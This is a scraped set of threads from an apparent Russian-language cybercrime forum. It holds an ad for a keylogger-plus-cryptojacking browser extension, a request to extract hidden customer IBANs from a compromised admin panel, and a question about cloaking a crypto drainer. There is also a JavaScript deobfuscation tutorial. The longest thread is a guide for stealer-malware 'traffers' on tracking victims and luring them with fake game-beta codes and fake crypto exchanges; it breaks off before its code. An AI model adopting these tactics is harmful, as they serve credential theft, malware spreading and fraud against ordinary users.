keylogger + cryptojacking extension chrome and mozilla ,basic malware browser, Keylogger capture credentials,IP ,and send inormations to a server web , mining monero with coinhive, you need just a key with coinhive

https://github.com/hakanonymos/coinhive-chrome-mozilla

Help database
ID: 67668b27b4103b69df375cc5
Thread ID: 108056
Created: 2024-02-12T04:51:19+0000
Last Post: 2024-06-01T22:25:17+0000
Author: M3lw0rm
Replies: 2 Views: 747

Help
I have panel website admin ( password + email ) His powers are to inspect all information of customers belonging to this company But for every customer there is a method to pay the bill, but it is hidden
Name of the hidden information : iban
Sometimes it shows up but most of the time it doesn't
Telegram : M3lw0rm

Ищу и знаю что такое клока? др
ID: 67668b27b4103b69df375cd2
Thread ID: 113595
Created: 2024-04-30T16:05:59+0000
Last Post: 2024-04-30T21:51:05+0000
Author: dedmoroz
Replies: 6 Views: 731

Хотел бы узнать как работает клока для драйнера что бы сайт мог жить дольше, и сколько такой стоит ? или если есть бесплатный можно линк

Капча на кнопке скачивания
ID: 67668b27b4103b69df375d3e
Thread ID: 75998
Created: 2022-11-16T15:25:36+0000
Last Post: 2022-11-17T09:33:18+0000
Author: sh666w
Replies: 4 Views: 730

На сайте есть кнопка скачки файла, т.е. клик на кнопку - с хоста качается файл.
Задача следующая: сделать при нажатии на этот баттон капчу, и при правильном её прохождении - файл начинает скачиваться.
Как можно реализовать данную идею грамотней?

Скрипт определения Android устройства [GPU]
ID: 67668b27b4103b69df375d86
Thread ID: 52767
Created: 2021-06-10T14:22:56+0000
Last Post: 2021-06-10T14:22:56+0000
Author: EmeliRouse
Replies: 0 Views: 722

You must have at least 5 message(s) to view the content.

Cookie
ID: 67668b27b4103b69df375d2b
Thread ID: 78687
Created: 2022-12-24T04:42:04+0000
Last Post: 2023-03-01T02:11:52+0000
Author: Antares
Replies: 3 Views: 720

Помогите куки сделать у сайта, как это делается вообще? Нужно что бы один раз wma файлик проигрывался при первом заходе на сайт.
Я так понимаю пишется какой то JS для сайта? Ни когда их не писал. Можно с нуля и подробно?

Искусство WebAssembly. Создание безопасных межплатформенных высокопроизводительных приложений [2022]
ID: 67668b27b4103b69df375d59
Thread ID: 64991
Created: 2022-03-29T17:12:00+0000
Last Post: 2022-03-29T17:12:00+0000
Author: weaver
Prefix: Мануал/Книга
Replies: 0 Views: 718

1648572994100.png

В книге подробно рассматриваются принципы работы WebAssembly – компактной межплатформенной технологии, которая оптимизирует производительность ресурсоемких веб-приложений и программ. Вы узнаете, как оптимизировать, компилировать и отлаживать низкоуровневый код, сравнивать его производительность с JavaScript, а также представлять код в удобном для прочтения текстовом формате WebAssembly Text (WAT). Затем сможете создать программу обнаружения столкновений на базе браузера, поработать с технологиями рендеринга в браузере для создания графики и анимации и выяснить, как WebAssembly взаимодействует с другими языками программирования. Книга адресована веб-разработчикам, желающим понять, как создавать и развертывать приложения на основе WebAssembly, а также пользователям, которые хотят изучить и применять эту технологию.

[ Искусство WebAssembly.pdf - AnonFiles

](https://anonfiles.com/l4v1PfR3xf/_WebAssembly_pdf)

anonfiles.com anonfiles.com

Разгадайка. Пишем собственный деобфускатор для JavaScript
ID: 67668b27b4103b69df375cbe
Thread ID: 122215
Created: 2024-09-07T04:25:24+0000
Last Post: 2024-09-07T10:50:41+0000
Author: rand
Prefix: Статья
Replies: 1 Views: 717

В этой статье я расскажу, как самостоятельно обходить обфускацию JavaScript в тех случаях, когда не помогают даже нестандартные деобфускаторы. Мы рассмотрим метод исследования запутанного кода и напишем свой собственный деобфускатор.

Среди читателей наверняка есть те, кому тема скриптовой обфускации гораздо милее ассемблера и прочего низкоуровневого колдунства. Именно этому вопросу была посвящена, например, моя недавняя статья «JSFuck. Разбираем уникальный метод обфускации JS-кода» или упоминаемая в ней обзорная статья про обфускаторы на Хабре. Но что делать, если перечисленные в этой статье кастомные деобфускаторы не помогают? В таком случае обфускацию придется обходить самостоятельно, и сейчас я расскажу, как это делается.

Используем автоматические деобфускаторы​

Для примера возьмем некое браузерное JavaScript-приложение. Объем его составляет около трех мегабайт, примерно три четверти из которых занимает жестко обфусцированный код, начинающийся так, как показано на следующем скриншоте.
1725682160119.jpeg
А заканчивается этот код вот так.
1725682188795.jpeg
Если ты уже успел ознакомиться с упомянутой выше статьей, характерные имена идентификаторов (_0x58cd18, _0x2f8935_0x321d33, _0x1e0595) должны были натолкнуть тебя на мысль, что код запутан обфускатором obfuscator.io. Однако попытка деобфускации его стандартным онлайн‑деобфускатором при любых настройках не приносит положительного результата: читаемый код в правом окне просто не появляется.
1725682288962.jpeg
Точно так же не приносят результатов и попытки деобфускации другими упомянутыми в статье инструментами. Например, универсальный деобфускатор de4js выдает совершенно неинформативный результат.
1725682316762.jpeg
Похоже, надежды на автоматические деобфускаторы мало и нам придется учиться работать руками.

INFO

Забегая вперед, скажу, что перечисленными выше инструментами мы не исчерпали все средства автоматической деобфускации. Например, можно попытаться оптимизировать код через нейросеть Llama. Автоматически деобфусцировать подобный код умеет проект webcrack, но давай все‑таки сделаем вид, что с использованием автоматических средств у нас ничего не вышло, — так намного интереснее!​

Деобфусцируем код вручную​

Для начала натравим на сырой код JS Beautifier, дабы придать ему читабельность. Пробежавшись по теперь уже структурированному коду, обращаем внимание на многочисленные вызовы функций с десятью шестнадцатеричными константами в виде параметров:

JavaScript:Copy to clipboard

_0x4a0111(0xa0c, 0xc0b, 0x13ef, 0x1e3e, 0x15e2, 0x1a29, 0x1b08, 0x94b, 0x968, 0x753)
_0x114a88(-0x6d, 0x126c, 0x621, 0xa59, -0x5f2, 0x72a, 0x6cf, 0x8a, 0xbf9, -0x4b4)
_0x27e22f(0xbf2, 0x670, 0xe4, 0x132e, 0x1267, 0xbf9, -0xb6, 0x697, 0x51f, 0x6da)
_0x1e51ce(0xe58, 0x1b5e, 0x2457, 0x191a, 0x224a, 0x133c, 0xf61, 0x1c11, 0x128d, 0xc77)
_0x33055f(0x16f4, 0x1704, 0xbaf, 0x231d, 0x163e, 0x161a, 0xca1, 0x15ba, 0x1c3f, 0x1649)
_0x1b164c(0x485, -0x398, 0x1e0, 0xf51, 0xcdd, 0x2de, 0xfea, 0x82f, -0x54a, 0x37)
...

Логично предположить, что таким образом зашифрованы константы, которые первым делом надо перевести в нормальный читаемый вид. Как обычно, начнем с конца. Код заканчивается следующим фрагментом:

JavaScript:Copy to clipboard

} catch (_0x321d33) {
        console[_0x1e0595(0x4f3, 0x854, 0x1210, 0x19e1, 0x3ca, 0x992, 0x665, 0xf98, 0x185b, 0x1073)](_0x321d33);
    }
});

Если мыслить логически, это console.log(_0x321d33), то есть _0x1e0595(0x4f3, 0x854, 0x1210, 0x19e1, 0x3ca, 0x992, 0x665, 0xf98, 0x185b, 0x1073) == "log". Попробуем провернуть этот фарш назад: ищем в коде строку function _0x1e0595:

JavaScript:Copy to clipboard

function _0x1e0595(_0x4bc581, _0x4ecbba, _0x1d5a39, _0x50dcae, _0x403da8, _0x4ad34e, _0x2b446e, _0x3b51da, _0x44854e, _0x1491c6) {
    return _0x340121(_0x1491c6 - 0x5ff, _0x4ecbba - 0xb8, _0x1d5a39 - 0xb2, _0x50dcae - 0x81, _0x403da8 - 0x80, _0x4ad34e - 0x1b, _0x2b446e - 0x99, _0x44854e, _0x44854e - 0x72, _0x1491c6 - 0x10f);

Как видишь, эта хрень ссылается на другую субхрень по имени _0x340121. Ищем и ее тоже:

JavaScript:Copy to clipboard

function _0x340121(_0x5ae465, _0x101079, _0x1d662f, _0x55f16c, _0x4029db, _0x3a7a06, _0x1d53e1, _0x5b0eb3, _0x4c47fe, _0x445726) {
    return _0x3a86(_0x5ae465 - -0x26c, _0x5b0eb3);
}

Эта субхрень, в свою очередь, ссылается на протохрень под именем _0x3a86, которая, по счастью, последняя (точнее, первая) в этой цепочке:

JavaScript:Copy to clipboard

function _0x3a86(_0x37610f, _0x5cbb3a) {
    const _0x1214fd = _0x5e2d();
    return _0x3a86 = function(_0x3aa59b, _0x1ad7b1) {
        _0x3aa59b = _0x3aa59b - (-0x10 * -0x80 + 0x69 * -0x1 + 0xa * -0xb5);
        _0x4072cc = _0x1214fd[_0x3aa59b];
        return _0x4072cc;
    }, _0x3a86(_0x37610f, _0x5cbb3a);
}

Пока что все просто. Осталось найти массив строковых констант, возвращаемый _0x5e2d:

JavaScript:Copy to clipboard

function _0x5e2d(){
  const _0x552e21=['t?id=','mjSUq','wcYjB','pljgg','ct:\x20<','accou','nlMqS',
                   ...
                   'se,\x22s','xESCJ'];
  _0x5e2d=function(){
      return _0x552e21;
  };
  return _0x5e2d();
}

Итак, похоже, мы вычленили минимальный фрагмент кода, отвечающий за генерацию обфусцированных строк через функцию _0x1e0595:

JavaScript:Copy to clipboard

function _0x5e2d(){
  const _0x552e21=['t?id=','mjSUq','wcYjB','pljgg','ct:\x20<','accou','nlMqS',
                   ...
                   'se,\x22s','xESCJ'];
  _0x5e2d=function(){
      return _0x552e21;
  };
  return _0x5e2d();
}
function _0x3a86(_0x37610f, _0x5cbb3a) {
    const _0x1214fd = _0x5e2d();
    return _0x3a86 = function(_0x3aa59b, _0x1ad7b1) {
        _0x3aa59b = _0x3aa59b - (-0x10 * -0x80 + 0x69 * -0x1 + 0xa * -0xb5);
        _0x4072cc = _0x1214fd[_0x3aa59b];
        return _0x4072cc;
    }, _0x3a86(_0x37610f, _0x5cbb3a);
}
function _0x340121(_0x5ae465, _0x101079, _0x1d662f, _0x55f16c, _0x4029db, _0x3a7a06, _0x1d53e1, _0x5b0eb3, _0x4c47fe, _0x445726) {
    return _0x3a86(_0x5ae465 - -0x26c, _0x5b0eb3);
}
function _0x1e0595(_0x4bc581, _0x4ecbba, _0x1d5a39, _0x50dcae, _0x403da8, _0x4ad34e, _0x2b446e, _0x3b51da, _0x44854e, _0x1491c6) {
    return _0x340121(_0x1491c6 - 0x5ff, _0x4ecbba - 0xb8, _0x1d5a39 - 0xb2, _0x50dcae - 0x81, _0x403da8 - 0x80, _0x4ad34e - 0x1b, _0x2b446e - 0x99, _0x44854e, _0x44854e - 0x72, _0x1491c6 - 0x10f);
}

В дальнейшем нам предстоит автоматизировать поиски кода для каждой аналогичной функции (хоть их и много, но они однотипные). А пока что мы просто попытаемся убедиться, что всё сделали правильно. Жмем в браузере F12 и вставляем найденный фрагмент кода в консоль, пробуя вычислить выражение _0x1e0595(0x4f3, 0x854, 0x1210, 0x19e1, 0x3ca, 0x992, 0x665, 0xf98, 0x185b, 0x1073).

В этот момент мы убеждаемся, что возвращаемая строка не log, а, наоборот, awal, хотя строка log в исходном массиве тоже присутствует. Значит, мы где‑то облажались в расчетах или авторы обфускатора нас хитро обдурили, хотя счастье было так близко...

Посмотрим на код более внимательно. Верхний фрагмент кода, начиная с комментария IT IS NOT SAFE TO MAKE CHANGES IN THE CODE BELOW, хитро перемешивает массив строковых констант _0x552e21 после его инициализации.
1725682687999.jpeg
Занятно, что в условии while мы обнаруживаем знакомую нам по JSFuck конструкцию (!![])==true. При внимательном рассмотрении отмечаем, что такие константы вместе с обратным вариантом (![])==false щедро раскиданы по обфусцированному коду. Делаем себе заметку на будущее поменять их в коде глобальной заменой, после чего вставляем фрагмент, показанный на предыдущем скриншоте, в начало нашего «ядерного кода» и снова делаем тест. На этот раз все сходится, результат правильный: _0x1e0595(0x4f3, 0x854, 0x1210, 0x19e1, 0x3ca, 0x992, 0x665, 0xf98, 0x185b, 0x1073) == "log".

На этом интересная и увлекательная исследовательская часть заканчивается и начинается кодинг, хоть и несложный, но довольно рутинный.

Пишем деобфускатор​

План построения деобфускатора у нас будет следующий.

По образу и подобию описанного выше процесса препарирования функции _0x1e0595 полностью формируем «ядро» функций, которые будут декодировать строковые константы. Для этого ищем все функции, соответствующие вот такому шаблону:

JavaScript:Copy to clipboard

function _0x??????(_0x??????, _0x??????, _0x??????, _0x??????, _0x??????, _0x??????, _0x??????, _0x??????, _0x??????, _0x??????) {
        return _0x3a86(??????, ??????);
    }

Примерная реализация этого действия через регулярные выражения на JavaScript выглядит так:

JavaScript:Copy to clipboard

var reg = /function (_0x[a-f0-9]*)\(_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*\)\{return _0x3a86\([^)]*\);\}/g;
var functions = [], found,names=[];
while (found = reg.exec(string)) {
    functions.push(found[0]);
    names.push(found[1]);
}

Здесь string — исходный код, на выходе получаем functions — массив кода функций, которые надо добавить к «ядерному» коду и одновременно убрать из кода исходного; names — список имен этих функций.

Ищем функции вида

JavaScript:Copy to clipboard

function _0x??????(_0x??????, _0x??????, _0x??????, _0x??????, _0x??????, _0x??????, _0x??????, _0x??????, _0x??????, _0x??????) {
        return <Name1>(??????, ??????,??????, ??????,??????, ??????,??????, ??????,??????, ??????);
    }

Здесь Name1 — имя функции, из списка names, полученного в пункте 1. Код выглядит следующим образом:

JavaScript:Copy to clipboard

var reg = /function (_0x[a-f0-9]*)\(_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*\)\{return _0x3a86\([^)]*\);\}/g;
var functions = [], found,names=[];
while (found = reg.exec(string)) {
    functions.push(found[0]);
    names.push(found[1]);
}
var functions1 = [], names1=[];
for (var i=0;i<names.length;i++)
{
    var reg1 = new RegExp("function (_0x[a-f0-9]*)\\(_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*\\)\\{return "+names[i]+"\\([^)]*\\);\\}", "g");
    while (found = reg1.exec(string)) {
       functions1.push(found[0]);
       names1.push(found[1]);
     }
}

Получаем новый список функций functions1 и их имен names1, которые тоже добавляем в ядро и убираем из исходного кода.

Повторяем поиск функции, каждый раз подставляя вместо списка names полученный на предыдущем этапе список names1 до тех пор, пока на очередном шаге список не опустеет. Итоговый код выглядит примерно так:

JavaScript:Copy to clipboard

var reg = /function (_0x[a-f0-9]*)\(_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*\)\{return _0x3a86\([^)]*\);\}/g;
var functions = [], found,names=[];
while (found = reg.exec(string)) {
    functions.push(found[0]);
    names.push(found[1]);
}
var names2=names.slice();
while (true)
{
  var functions1 = [], names1=[];
  for (var i=0;i<names2.length;i++)
 {
    var reg1 = new RegExp("function (_0x[a-f0-9]*)\\(_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*\\)\\{return "+names2[i]+"\\([^)]*\\);\\}", "g");
    while (found = reg1.exec(string)) {
       functions1.push(found[0]);
       names1.push(found[1]);
        functions.push(found[0]);
        names.push(found[1]);
     }
  }
  if (names1.length==0) break;
  names2=names1.slice();
}

На выходе functions — это все паразитические функции, сгенерированные обфускатором, а names — их имена.

Теперь, когда «ядро» сформировано, мы просто перебираем все исчисляемые выражения вида

JavaScript:Copy to clipboard

<Name1>(??????,??????,??????,??????,??????,??????,??????,??????,??????,??????)

Name1 — имя функции из полученного на предыдущих шагах списка names. Их мы вычисляем при помощи вот такого кода:

JavaScript:Copy to clipboard

var expressions=[];
var values=[];
for (var i=0;i<names.length;i++)
 {
    var reg1 = new RegExp(names[i]+"\\([^)]*,[^)]*,[^)]*,[^)]*,[^)]*,[^)]*[^)]*,[^)]*,[^)]*,[^)]*\\)", "g");
    while (found = reg1.exec(string)) {
       var test=found[0];
       var value=undefined;
       try
       {
         value=eval(test);
         expressions.push(found[0]);
         values.push(value);
        } catch (err) {}
       }
  }

На выходе мы получаем массив expressions, в котором содержатся исчисляемые выражения вида _0x4a0111(0xa0c, 0xc0b, 0x13ef, 0x1e3e, 0x15e2, 0x1a29, 0x1b08, 0x94b, 0x968, 0x753) и соответствующие им константы. Нам остается просто заменить в обфусцированном коде первые вторыми обычной глобальной заменой.

В итоге мы получаем частично деобфусцированный код, в котором хотя бы строковые константы и имена стандартных методов будут представлены в явном виде. Этот код уже вполне можно анализировать, править, можно кормить им по частям другие деобфускаторы для приведения в полностью читаемый вид.

Разумеется, это далеко не полная деобфускация исходного приложения. В стремлении к совершенству можно свернуть выражения вида Class["MethodName"] в Class.MethodName. Вот чуть более продвинутый вариант кода в Object.MethodName:

JavaScript:Copy to clipboard

const _0x17ef7d = {};
_0x17ef7d[MethodName]

Напоследок можно выполнить несколько словарных преобразований следующего вида:

JavaScript:Copy to clipboard

const _0x45618a = {
            'aJqDi': function(_0x2b031d, _0x1fc5a3) {
                return _0x2b031d(_0x1fc5a3);
            },
            'FDTmk': function(_0x542b4c, _0x55bd01) {
                return _0x542b4c(_0x55bd01);
            },

В итоге мы получим близкий к читабельному код, в котором только исходные имена переменных и функций будут безвозвратно потеряны.
1725682982233.jpeg

Выводы​

По своей любимой привычке я слегка слукавил и описал всего лишь самый простой и быстрый способ частичной деобфускации JavaScript-кода. Для написания серьезного полного деобфускатора простым поиском‑заменой регулярных выражений, разумеется, не обойтись. Для этого по‑хорошему надо писать свой собственный эмулятор JavaScript-машины, как, например, это реализовано в упомянутом мною деобфускаторе webcrack. Возможно, я когда‑нибудь расскажу об этом подробнее, а пока интересующиеся и нетерпеливые могут самостоятельно покопаться в исходном коде этого проекта.

Взято: ТУТ

Реализуем реферальную система для трафферов
ID: 67668b27b4103b69df375d02
Thread ID: 99716
Created: 2023-10-09T13:52:43+0000
Last Post: 2023-10-09T13:52:43+0000
Author: Patr1ck
Prefix: Статья
Replies: 0 Views: 714

Всем привет!
Как я и обещал в предыдущей статье - рассказываю про реализацию реферальной системы для трафферов.
Но перед тем, как мы нырнем в омут с головой, по традиции - проблематика, задачи и решение.

ПРОБЛЕМАТИКА И ТЕОРИЯ
Коротко суть. Есть вы, есть у вас партнерка. Допустим стиллер и вы работаете со всеми желающими за процент, к примеру 70/30.
Как только трафферов становится больше, чем один, неизменно возникает вопрос - как понять от кого пришел лид?

Для удобства сразу договоримся, что будем называть трафферов/тех кто приводит нам лидов - партнеры (тут немного повеяло сетевым, но что же поделать, эти ребята впереди планеты всей в теме партнерок и реферальных систем).

Чтобы все было грамотно и по красоте, я освещу тему реферальных систем в целом, а затем сузим вектор конкретно до партнерок в нашей сфере и какие методы применимы конкретно к нам.

Глобально существует два основных, прижившихся и прошедших проверку временем метода. Это:​

  • Промокоды​

  • Реферальные ссылки​

Причем под "прошедшими проверку временем" я имею в виду не только дарк тематику. Ровно те же самые два метода применяются во всем партнерском маркетинге, не важно вы стил грузите или на ноготочки в инсте записываете людей.

Чуть подробнее про каждый из этих методов:

РЕФЕРАЛЬНЫЕ ССЫЛКИ
Очень старый и бородатый (почти как я) способ отслеживания и квалификации лидов. Используется на каждом шагу и повсеместно - начиная от ссылок на сайты электроники в любом обзоре техноблогера и заканчивая поисковыми запросами гугла. Да что уж греха таить, даже используемые всеми трафферами системы клоакинга тоже сверху донизу обмазаны реферальными ссылками.

Как узнать врага в лицо (если вдруг кто-то не знает, как выглядит реферальная ссылка).

Есть сайт, допустим абсолютно случайно это будет xttps://xss.is/
Реф ссылки обычно зашивают в поисковые параметры, поэтому ссылка вида xttps://xss.is/?ref=patrick уже будет реферальной - в параметре ref явно записана принадлежность лида к конкретному трафферу и это суперпросто понять как на фронте, так и на бэке.

Вдумчивому читателю становится очевидно, что таким образом можно передать не только никнейм партнера, но и любую другую интересующую нас информацию о лиде и источнике траффика. Просто подумайте, насколько мы по сути окружены реферальными ссылками, если для этого дела в интернетах даже есть отдельный термин - UTM-метки и даже существует общепринятый и повсеместно применяемый стандарт наименований этих самых поисковых параметров.​

  • utm_source - идентифицирует сайт, с которого отправляется трафик. Например, utm_source=Google​

  • utm_medium - идентифицирует рекламную модель (оплата за клик, оплата за показ, оплата за действие и так далее). Например, utm_medium=cpc​

  • utm_campaign - идентифицирует конкретную рекламную кампанию. Например, utm_campaign=xss_opened_registration​

  • utm_term - идентифицирует ключевую фразу из рекламной кампании, независимо от того, из какого источника был клик. Например, utm_term=buy++malware​

  • utm_content - идентифицирует конкретный элемент контента, на который кликнул пользователь перед переходом на сайт (типа кликнул на баннер, или на лого, или на рекламу из подвала, или на ссылку в тексте и так далее). Например, utm_content=logolink​

Круто, правда? Люди заморочились, придумали даже небольшой стандарт чтобы все было структурировано, красиво и удобно в этих ваших интернетах.
Естественно, естественно будет честным с моей стороны сказать, что все забили на это большой и толстый, и сейчас в ютмки пихают абсолютно любую информацию, путают их назначение и вообще кто во что горазд. Но это все так, больше чтобы вы понимали откуда ноги растут.

Вернемся к насущному, наши реферальные ссылки.
Более изощренный вариант, который например можно применять если данные слишком длинные или их формат не позволяет передавать эти данные как есть - кодирование. Тут тоже, будем честны, кто во что горазд. Я видел base64, видел sha разных мастей, и даже видел попытку компрессии этих данных с помощью zlib. Тут больше добавить нечего. Как говорится, "каждый передает реферальные параметры как хочет".

Немного подытожу этот пункт и пройдусь по минусам. Кажется, что реферальные ссылки уже достаточно мощный инструмент, зачем изобретать что-то еще? Ну, как бы не так, есть два серьезных минуса, о которых я просто обязан упомянуть и которые во многих случаях являются решающими и перевешивают чашу весов "против" реферальных ссылок.

Во-первых, взглянем правде в глаза - реферальные ссылки в большинстве своем капец какие уродские. В какой-то момент люди решили, что надо засунуть вообще всю имеющуюся информацию о лиде в эти несчастные ютм. Это привело к тому, что появились даже целые сервисы - сокращаторы ссылок. Ну правда, вряд ли кто-то сидел-сидел и решил сократить слишком длинный домен. Нет. Он увидел ссылку с поисковыми параметрами, которая занимала десять строчек в тексте и понял, что пора что-то в этой жизни менять.

Вытекающая из этого проблема - все мы знаем уровень трастовости и отношение большинства людей к сокращаторам. Тут опять же, не буду говорить за всех, рассмотрим например конкретно криптоскам - да проще кругосветку под парусом совершить, чем заставить мамонта кликнуть по ссылки битли. По сути тут реферальные ссылки и сокращаторы только добавляют нам проблем.

Пункт номер полтора или хозяйке на заметку: есть определенный класс людей, которые принципиально не ходят по реферальным ссылкам и удаляют руками хвост линка - что ставит крест на всех ваших стараниях по отслеживанию и квалификации лидов, и с этим к сожалению ничего не поделаешь.

Ну и наконец, во-вторых. Реферальные ссылки - чисто технический подход к отслеживанию лидов, а это значит что задача разработчика - сделать так, чтобы эта ссылка дотянулась и дожила до момента, когда лид заполнил форму/оплатил/скачал софт. А это к сожалению, не всегда просто и не всегда вообще возможно.

Пример первый - пользователь заходит на нужную страницу сайта, естественно по реф ссылке. Но вместо того, чтобы скачать нашу малварь - он решает еще немного погулять по сайту, изучить вопросик так сказать. Если на этом моменте ваш разраб (или вы сами) не записали нужные данные в сессию/куки/локалсторадж, а также у вас не навешаны реф ссылки на все активные элементы сайта - лид из квалифицированного резко становится неквалифицированным.

Пример второй - та же самая ситуация из пункта один, только прогер проспался, ссылки навешаны, локалсторадж пишется. Пользователь заходит на сайт в режиме инкогнито, ходит бродит. Потом уходит совсем. Потом возвращается, но не по рефке, а домен руками вводит (он же его запомнил). Кто ты, мальчик? Откуда ты пришел и чей будешь?

Пример третий - настроено все что можно, пользователь отслеживается по всем возможным параметрам, включая фингерпринт браузера. Программист на 70% состоит из кофе и нервно дергает глазом. Знаете, что делает пользователь? Он заходит по вашей ссылке со стилером с мобилы. Естественно, ничего не запускается и он "попробует еще раз, из дома, с компа". Да-да, вы уже правильно догадались - дома он заходит с девайса, который никакого отношения не имеет к первому, с абсолютно другим айпишником, отпечатком браузера и без реферальной ссылки.

Как вы уже поняли, некоторые ситуации не представляется возможным отследить чисто технически. А в некоторых местах например, нельзя публиковать ссылки (в том же инстаграме или например на распечатанном листе тоже мало толку от реферальной ссылки).

Именно в этих случаях нам на помощь приходит второй вариант отслеживания лидов

  • промокоды.

ПРОМОКОДЫ

Горячо любимый многими партнерками и лично мной метод. Суть его в том, что за каждым партнером закрепляется свой промокод - абстрактная сущность, чаще всего представленная в виде цифробуквенной комбинации. По ней не обязательно давать скидку (но желательно что-то давать, иначе смысл промика теряется).

Например XSS-TOP - отличный, удобный для запоминания и валидный промокод.
Этот промокод ~~мамонт~~ пользователь может ввести в поле на сайте, сообщить голосом, отправить оператору в чате и вообще доставить его до нашей системы любым удобным способом.

Плюсы, которые сразу же, прямо с разбегу бросаются в глаза:

Во-первых, промокоды очевидно можно использовать в гораздо большем количестве мест, чем реферальные ссылки. Да что уж тут, промокоды можно использовать вообще везде, где есть возможность что-то написать, что естественно делает их отличным инструментом для работы в среде с жесткой цензурой ссылок.

Во-вторых, используя промокоды, мы как бы перекладываем часть ответственности за квалификацию лида на самого лида. То есть это уже не наша задача - пробросить, записать, отследить, навешать ссылки. Это уже задача пользователя

  • ввести свой промокод в нужном месте, иначе фигушки он что получит. Яркий пример современности - стиллер под видом игры, пользователей приглашают на бета-тест, доступ к которому можно получить только введя промокод на сайте. Реалистично, удобно, практично.

Как следует из названия, такие коды в основном используются в промо акциях и идеально подходят как инструмент дополнительной мотивации нашего пользователя. Мы можем повернуть и завернуть это так, как нам удобно.
Специальный код для доступа к бета-версии метаверс игры. Скидочный код для покупки майнингового оборудования. Купон на бесплатный фриспин в нашем крипто- онлайн-казино. Да что уж там, даже приватный ключ или сид фраза, которую мы дали мамонту чтобы он помог вывести деньги с нашей фейк биржи - даже это может выступать в роли промокода. И это только пара примеров из области криптоскама, которые лежат на поверхности. При желании, промокоды позволяют нам придумать безграничное количество схем и комбинаций для успешной работы. И еще раз напомню, промокод - это любая цифробуквенная комбинация. Она может быть любого формата и любой длины, так что тут реально все ограничено лишь вашей фантазией.

Дополнительный бонус от использования промокодов - ваша малварь не торчит известным местом наружу и сайты живут очень долго. Все самое интересное спрятано от глаз любопытных и доступно только человеку с промокодом.

Все было бы замечательно, но и тут не обошлось без минусов. Так уж вышло, что плюсы промокодов и являются прородителями их собственных минусов, и к сожалению от этого никуда не деться.

Во-первых, если пользователь потерял промокод, забыл его ввести, ввел неправильно, или любым другим способом напомнил нам почему искуственный интеллект в итоге победит - это финиш. Потому что нельзя отследить по промокоду человека без промокода, и с этим к сожалению ничего не поделаешь.

Во-вторых, если использовать промокоды втупую и в лоб - это выглядит подозрительно. Как пример, который я привожу уже третий раз за статью - промокод для доступа к бета-версии игры. В какой-то момент кто-то придумал эту схему и она работала очень круто. Действительно круто, потому что ввод кода для доступа - достаточно естественное действие.

Но потом появилось то, что у нас принятно называть "детект в рантайме" - использовать легенду с бета-версией и промокоды стала каждая первая команда, что привело к появлению огромного количество сайтов с одной и той же механикой. Как следствие: сотни постов на реддите и в твиттере, широкая осведомленность и поведенческий детект связки "введи код чтобы получить доступ к бета-версии игры". Нет, безусловно мамонты все еще ведутся, просто не так охотно и не так просто - и мы получаем примерно ту же историю что с сокращением через битли.

В-третьих, есть особенность из области маркетинга. Чем меньше целевых действий должен совершить пользователь до желаемого результата, тем выше по итогу конверсия в целевое действие (загрузку стиллера в нашем случае).
Оцените две цепочки действий, они практически идентичны, но в процентном соотношении имеют колоссальную разницу

Цепочка 1 (реферальная ссылка):
Перейти по ссылке - > Нажать на кнопку "Скачать" -> Запустить файл

Цепочка 2 (промокод):
Перейти по ссылке - > Нажать на кнопку "Скачать" -> Перейти обратно в мессенджер и скопировать промокод -> Вставить его в нужное поле -> Нажать на кнопку "Ок" -> Запустить файл

Три шага против шести, то есть увеличение длины цепочки в два раза. На объеме это будет приводить к существенным потерям в траффике и как следствие - к просадке конверсии. Частично нивелируется дополнительной вложенной мотивацией в промокод (если человек очень заинтересован, например вы ему ключ-пароль от биржи где деньги лежат дали, то конечно он пройдет все девять кругов ада в пути до желаемой цели и особенности UI/UX ему в этом не помешают).

Итого, что имеем - есть два основных способа узнать, где чей мамонт. У каждого из этих способов есть свои плюсы и минусы, и какой из них применять - решаете только вы, в зависимости от вашего проекта, легенды, особенностей реализации системы и источников траффика.

ЗАДАЧИ

Окей, с основной теоретической частью разобрались, пора переходить к практике.

Как я уже говорил, в момент когда я впервые столкнулся со сферой, известной сейчас как нфт-скам, там особо на этот счет никто не заморачивался. Да что уж там, я в этом году видел команды, которые на полном серьезе выясняют где чей мамонт "на глаз" - по айпи, версии системы и скринам переписки.

Хватит это терпеть.

Наша с вами задача на сегодня - реализовать оба варианта системы (и через реферальные ссылки, и через систему промокодов) и научиться внедрять их в наши проекты. Система будет поддерживать функционал создания промокодов, проверки кому он принадлежит, и уведомления в общий чат трафферов в телеграме (не топлю за телегу, можно с таким же успехом привязать дискорд, жабу, да хоть пуши - апи разные, принцип один и тот же).

В качестве языка программирования я буду использовать Javascript (ванильку на фронте и соответственно ноду с экспрессом на бэке).

Бонусом ко всему, покажу как можно реализовать разделение по командам внутри вашего проекта и организовать несколько независимых реферальных систем в рамках одного приложения, для того чтобы мы могли работать с командами траферов и система была двухуровневой, с разграничением прав.

Пристегнитесь, поехали.

РЕШЕНИЕ

Итак, как я уже сказал, мы будем реализовывать сегодня две системы: систему реферальных ссылок и систему промокодов. Но по сути, если вдумчивый читатель внимательно прочитал теоретическую часть, то в этом моменте он должен закричать: "Но ведь это одно и то же с технической точки зрения!". И будет совершенно прав.

